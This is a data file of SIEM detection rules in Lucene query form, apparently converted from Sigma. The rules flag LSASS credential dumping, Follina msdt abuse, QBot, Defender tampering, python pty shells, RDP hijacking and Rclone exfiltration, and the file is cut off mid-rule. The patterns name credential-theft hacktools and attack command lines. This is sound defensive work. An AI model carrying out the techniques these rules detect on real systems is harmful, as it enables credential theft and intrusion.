{"description": "Detects process start from rare or uncommon folders like temporary folder or folders that usually don't contain executable files", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d56327fa-9633-ffca-8800-9e90a7e3f575", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Process Start From Suspicious Folder", "query": "(process.executable.text:(*\\\\Desktop\\\\* OR *\\\\Temp\\\\* OR *\\\\Temporary\\ Internet*) AND (NOT ((process.parent.executable.text:(\"C\\:\\\\Windows\\\\System32\\\\cleanmgr.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Visual\\ Studio\\\\Installer\\\\resources\\\\app\\\\ServiceHub\\\\Services\\\\Microsoft.VisualStudio.Setup.Service\\\\BackgroundDownload.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\dxgiadaptercache.exe\") OR process.parent.executable.text:C\\:\\\\Program\\ Files\\ \$x86\$\\\\NVIDIA\\ Corporation\\\\*) OR (process.executable.text:*setup.exe) OR (process.executable.text:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Temp\\\\* AND process.executable.text:*.tmp\\\\MicrosoftEdgeUpdate.exe))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["Malware sandbox results"], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects Processes accessing the camera and microphone from suspicious folder", "enabled": false, "false_positives": ["Unlikely, there could be conferencing software running from a Temp folder accessing the devices"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "973f1ca9-3544-f967-7fad-01029a745989", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Camera and Microphone Access", "query": "(winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\CapabilityAccessManager\\\\ConsentStore\\\\* AND winlog.event_data.TargetObject:*\\\\NonPackaged* AND winlog.event_data.TargetObject:(*microphone* OR *webcam*) AND winlog.event_data.TargetObject:(*\\:#Windows#Temp#* OR *\\:#$Recycle.bin#* OR *\\:#Temp#* OR *\\:#Users#Public#* OR *\\:#Users#Default#* OR *\\:#Users#Desktop#*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1123", "T1125"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1123", "name": "Audio Capture", "reference": ""}, {"id": "T1125", "name": "Video Capture", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Den Iuzvyk"], "license": ""}
{"description": "Detects processes creating temp files related to PCRE.NET package", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0912cf06-5ef1-c26d-1b33-d4b45d82038f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PCRE.NET Package Temp Files", "query": "file.path.text:*\\\\AppData\\\\Local\\\\Temp\\\\ba9ea7344a4a5f591d6e5dc32a13494b\\\\*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects processes leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "602a822b-c345-283c-f8aa-a25167e369a6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execute Arbitrary Commands Using MSDT.EXE", "query": "((process.executable:*\\\\msdt.exe OR winlog.event_data.OriginalFileName:\"msdt.exe\") AND (process.command_line:*IT_BrowseForFile\\=* OR (process.command_line:*\\ PCWDiagnostic* AND process.command_line:(*\\ \\/af\\ * OR *\\ \\-af\\ *))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali (rule)"], "license": ""}
{"description": "Detects processes loading modules related to PCRE.NET package", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d6512ab6-e7d8-6894-0448-9e3d90273323", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PCRE.NET Package Image Load", "query": "dll.path:*\\\\AppData\\\\Local\\\\Temp\\\\ba9ea7344a4a5f591d6e5dc32a13494b\\\\*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools", "enabled": false, "false_positives": ["Legitimate software accessing LSASS process for legitimate reason; please add more filters"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ef2acefd-207b-e80d-1836-0d9da9508065", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Credential Dumping Tools Accessing LSASS Memory", "query": "((winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.GrantedAccess:(0x40* OR 0x100000* OR 0x1410* OR 0x1438* OR 0x143a* OR 0x1418* OR 0x1f0fff* OR 0x1f1fff* OR 0x1f2fff* OR 0x1f3fff*)) AND (NOT ((process.executable.text:(\"C\\:\\\\WINDOWS\\\\system32\\\\taskmgr.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\perfmon.exe\")) OR (process.executable.text:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\* AND process.executable.text:*\\\\MsMpEng.exe) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\svchost.exe\" AND winlog.event_data.CallTrace:*|C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Definition\\ Updates\\\\\\{* AND winlog.event_data.CallTrace:*\\}\\\\mpengine.dll\\+* AND winlog.event_data.GrantedAccess:\"0x1418\") OR (process.executable.text:C\\:\\\\Program\\ Files\\\\WindowsApps\\\\* AND process.executable.text:*\\\\GamingServices.exe AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\")) OR (process.executable.text:(*\\\\PROCEXP64.EXE OR *\\\\PROCEXP.EXE OR *C\\:\\\\WINDOWS\\\\system32\\\\taskhostw.exe OR *\\\\MBAMInstallerService.exe) AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\" OR \"0x40\")) OR (process.executable.text:C\\:\\\\ProgramData\\\\VMware\\\\VMware\\ Tools\\\\* AND process.executable.text:*\\\\vmtoolsd.exe) OR (process.executable.text:\"C\\:\\\\WINDOWS\\\\system32\\\\svchost.exe\" AND winlog.event_data.GrantedAccess:\"0x100000\") OR (process.executable.text:(\"C\\:\\\\WINDOWS\\\\system32\\\\wbem\\\\wmiprvse.exe\" OR \"C\\:\\\\Windows\\\\syswow64\\\\MsiExec.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\msiexec.exe\") AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\")) OR (process.executable.text:(*\\\\thor.exe OR *\\\\thor64.exe OR *\\\\aurora\\-agent.exe OR *\\\\aurora\\-agent\\-64.exe) AND winlog.event_data.GrantedAccess:(\"0x40\" OR \"0x1010\")) OR (process.executable.text:*\\\\explorer.exe AND winlog.event_data.GrantedAccess:\"0x401\") OR (process.executable.text:(\"C\\:\\\\Windows\\\\system32\\\\wininit.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\lsass.exe\") AND winlog.event_data.GrantedAccess:\"0x1000000\") OR (process.executable.text:\"C\\:\\\\Windows\\\\system32\\\\MRT.exe\" AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x1418\")) OR (winlog.event_data.GrantedAccess:\"0x40\" AND process.executable.text:(*\\\\handle.exe OR *\\\\handle64.exe)) OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*) AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\")) OR (process.executable.text:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Edge\\\\Application\\\\* AND process.executable.text:*\\\\Installer\\\\setup.exe) OR (process.executable.text:*\\\\AppData\\\\Local\\\\WebEx\\\\WebexHost.exe AND winlog.event_data.GrantedAccess:\"0x401\") OR (process.executable.text:\"C\\:\\\\PROGRAMDATA\\\\MALWAREBYTES\\\\MBAMSERVICE\\\\ctlrupdate\\\\mbupdatr.exe\" AND winlog.event_data.GrantedAccess:\"0x1410\") OR (winlog.event_data.CallTrace:(*|c\\:\\\\program\\ files\\\\windows\\ defender\\\\mprtp.dll* OR *|c\\:\\\\program\\ files\\\\windows\\ defender\\\\MpClient.dll*)) OR (process.executable.text:C\\:\\\\Windows\\\\Temp\\\\* AND process.executable.text:*.tmp\\\\DropboxUpdate.exe AND winlog.event_data.GrantedAccess:(\"0x410\" OR \"0x1410\")) OR (process.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.executable.text:*.tmp\\\\DropboxUpdate.exe AND winlog.event_data.GrantedAccess:\"0x1410\") OR (process.executable.text:C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\* AND process.executable.text:*\\\\MSBuild\\\\Current\\\\Bin\\\\MSBuild.exe AND winlog.event_data.GrantedAccess:\"0x1F3FFF\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Roberto Rodriguez", "Dimitrios Slamaris", "Mark Russinovich", "Thomas Patzke", "Teymur Kheirkhabarov", "Sherif Eldeeb", "James Dickenson", "Aleksey Potapov", "oscd.community (update)"], "license": ""}
{"description": "Detects processes spawned from web servers (php, tomcat, iis...etc) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d6b9f78d-bb8e-95e6-0541-8afa09e24f03", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Webshell Recon Detection Via CommandLine & Processes", "query": "((process.parent.executable.text:(*\\\\w3wp.exe OR *\\\\php\\-cgi.exe OR *\\\\nginx.exe OR *\\\\httpd.exe OR *\\\\caddy.exe OR *\\\\ws_tomcatservice.exe) OR (process.parent.executable.text:(*\\\\java.exe OR *\\\\javaw.exe) AND process.parent.executable.text:(*\\-tomcat\\-* OR *\\\\tomcat*)) OR (process.parent.executable.text:(*\\\\java.exe OR *\\\\javaw.exe) AND process.command_line.text:(*catalina.jar* OR *CATALINA_HOME*))) AND process.command_line.text:(*perl\\ \\-\\-help* OR *python\\ \\-\\-help* OR *python\\ \\-h* OR *python3\\ \\-\\-help* OR *python3\\ \\-h* OR *wget\\ \\-\\-help* OR *perl\\ \\-h*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Cian Heasley", "Florian Roth"], "license": ""}
{"description": "Detects program executions in suspicious non-program folders related to malware or hacking activity", "enabled": false, "false_positives": ["Admin activity (especially in /tmp folders)", "Crazy web applications"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2eb970ee-16dd-4786-8cb3-ba6a8950a141", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Program Executions in Suspicious Folders", "query": "(type:\"SYSCALL\" AND exe:(\\/tmp\\/* OR \\/var\\/www\\/* OR \\/home\\/*\\/public_html\\/* OR \\/usr\\/local\\/apache2\\/* OR \\/usr\\/local\\/httpd\\/* OR \\/var\\/apache\\/* OR \\/srv\\/www\\/* OR \\/home\\/httpd\\/html\\/* OR \\/srv\\/http\\/* OR \\/usr\\/share\\/nginx\\/html\\/* OR \\/var\\/lib\\/pgsql\\/data\\/* OR \\/usr\\/local\\/mysql\\/data\\/* OR \\/var\\/lib\\/mysql\\/* OR \\/var\\/vsftpd\\/* OR \\/etc\\/bind\\/* OR \\/var\\/named\\/*))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects programs with network connections running in suspicious files system locations", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "67295c91-9a35-939b-0cb5-85390f0a5640", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Program Location with Network Connections", "query": "((process.executable:(*\\\\Users\\\\All\\ Users\\\\* OR *\\\\Users\\\\Default\\\\* OR *\\\\Users\\\\Public\\\\* OR *\\\\Users\\\\Contacts\\\\* OR *\\\\Users\\\\Searches\\\\* OR *\\\\config\\\\systemprofile\\\\* OR *\\\\Windows\\\\Fonts\\\\* OR *\\\\Windows\\\\IME\\\\* OR *\\\\Windows\\\\addins\\\\*) OR process.executable:*\\\\$Recycle.bin OR process.executable:C\\:\\\\Perflogs\\\\*) AND (NOT ((process.executable:C\\:\\\\Users\\\\Public\\\\IBM\\\\ClientSolutions\\\\Start_Programs\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Tim Shelton"], "license": ""}
{"description": "Detects PsExec service installation and execution events (service and Sysmon)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7b58545a-f4db-7760-f283-8fe4195a961c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "PsExec Tool Execution", "query": "file.path.text:*\\\\PSEXESVC.exe", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects PsExec service installation and execution events (service and Sysmon)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7b58545a-f4db-7760-f283-8fe4195a961c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "PsExec Tool Execution", "query": "file.name:\"\\\\PSEXESVC\"", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects PsExec service installation and execution events (service and Sysmon)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7b58545a-f4db-7760-f283-8fe4195a961c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "PsExec Tool Execution", "query": "file.name:\"\\\\PSEXESVC\"", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects PsExec service installation and execution events (service and Sysmon)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7b58545a-f4db-7760-f283-8fe4195a961c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "PsExec Tool Execution", "query": "(process.executable:*\\\\PSEXESVC.exe AND user.name:NT\\ AUTHORITY\\\\SYSTEM*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects PsExec service installation and execution events (service and Sysmon)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d385af94-02bb-467c-fbbd-c40ccfde9b97", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hacktool Service Registration or Execution", "query": "(winlog.channel:\"System\" AND (Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:(\"7045\" OR \"7036\")) AND (winlog.event_data.ServiceName:(*WCESERVICE* OR *WCE\\ SERVICE* OR *winexesvc* OR *DumpSvc* OR *pwdump* OR *gsecdump* OR *cachedump*) OR winlog.event_data.ImagePath:*bypass*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects PsExec service installation and execution events (service and Sysmon)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7b58545a-f4db-7760-f283-8fe4195a961c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "PsExec Tool Execution", "query": "(winlog.channel:\"System\" AND winlog.event_data.ServiceName:\"PSEXESVC\" AND ((Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:*\\\\PSEXESVC.exe) OR winlog.event_id:\"7036\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects python spawning a pretty tty", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "55cb7048-747d-3094-06c2-48f37dd0e017", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Python Spawning Pretty TTY", "query": "(process.executable:(*\\/python2.* OR *\\/python3.*) AND ((process.command_line:*import\\ pty* AND process.command_line:*.spawn\\(*) OR process.command_line:*from\\ pty\\ import\\ spawn*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nextron Systems"], "license": ""}
{"description": "Detects python spawning a pretty tty", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "37ac7c37-b185-e330-8538-14ed96ccd91d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Python Spawning Pretty TTY on Windows", "query": "(process.executable:(*python.exe OR *python3.exe OR *python2.exe) AND ((process.command_line:*import\\ pty* AND process.command_line:*.spawn\\(*) OR process.command_line:*from\\ pty\\ import\\ spawn*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nextron Systems"], "license": ""}
{"description": "Detects QBot like process executions", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bec2ab1f-b9b8-5e97-565e-1b671a04114d", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "QBot Process Creation", "query": "((process.parent.executable.text:*\\\\WinRAR.exe AND process.executable.text:*\\\\wscript.exe) OR process.command_line.text:*\\ \\/c\\ ping.exe\\ \\-n\\ 6\\ 127.0.0.1\\ &\\ type\\ * OR (process.command_line.text:*regsvr32.exe* AND process.command_line.text:*C\\:\\\\ProgramData* AND process.command_line.text:*.tmp*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects QuarksPwDump clearing access history in hive", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "67fd78ce-6719-1ffa-2634-9a3d0382e305", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "QuarksPwDump Clearing Access History", "query": "(winlog.channel:\"System\" AND winlog.event_id:\"16\" AND Provider_Name:\"Microsoft\\-Windows\\-Kernel\\-General\" AND winlog.event_data.HiveName:*\\\\AppData\\\\Local\\\\Temp\\\\SAM* AND winlog.event_data.HiveName:*.dmp)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Rclone config file being created", "enabled": false, "false_positives": ["Legitimate Rclone usage (rare)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "70a22e55-7c7b-22e4-1318-5bc07116623d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Rclone Config File Creation", "query": "(file.path.text:*\\:\\\\Users\\\\* AND file.path.text:*\\\\.config\\\\rclone\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Aaron Greetham (@beardofbinary) - NCC Group"], "license": ""}
{"description": "Detects RDP session hijacking by using MSTSC shadowing", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d702c59c-ff71-416b-78fa-d56f4dfa761b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSTSC Shadowing", "query": "(process.command_line:*noconsentprompt* AND process.command_line:*shadow\\:*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1563"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1563", "name": "Remote Service Session Hijacking", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects RDP Session Hijacking on Windows systems", "author": ["@juju4"], "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ca044c1f-f61a-51aa-e5ef-9f8ab1331296", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential RDP Session Hijacking Activity", "query": "(((process.executable.text:*\\\\tscon.exe) OR (winlog.event_data.OriginalFileName:\"tscon.exe\")) AND IntegrityLevel:\"SYSTEM\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects reg command lines that disable certain important features of Microsoft Defender", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6c3d8fa1-d76d-c2a7-288c-9e98c64558f4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Registry Defender Tampering", "query": "(process.executable.text:*\\\\reg.exe AND process.command_line.text:(*SOFTWARE\\\\Microsoft\\\\Windows\\ Defender\\\\* OR *SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\*) AND process.command_line.text:*\\ add\\ * AND process.command_line.text:*\\ \\/d\\ 0* AND process.command_line.text:(*Real\\-Time\\ Protection* OR *TamperProtection*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects reg command lines that disables PPL on the LSA process", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "025c502a-6a31-3f16-571a-af32a9f45a34", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Registry Disabling LSASS PPL", "query": "(process.executable:*\\\\reg.exe AND process.command_line:*SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa* AND process.command_line:*\\ add\\ * AND process.command_line:*\\ \\/d\\ 0* AND process.command_line:*\\ \\/v\\ RunAsPPL\\ *)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects registry changes to Office macro settings. The TrustRecords contain information on executed macro-enabled documents. (see references)", "enabled": false, "false_positives": ["Valid Macros and/or internal documents"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d04ffa66-7fbd-821b-a395-d12b11666f36", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Office Security Settings Changed", "query": "(winlog.event_data.EventType:\"Setvalue\" AND winlog.event_data.TargetObject:(*\\\\Security\\\\Trusted\\ Documents\\\\TrustRecords OR *\\\\Security\\\\AccessVBOM OR *\\\\Security\\\\VBAWarnings))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", 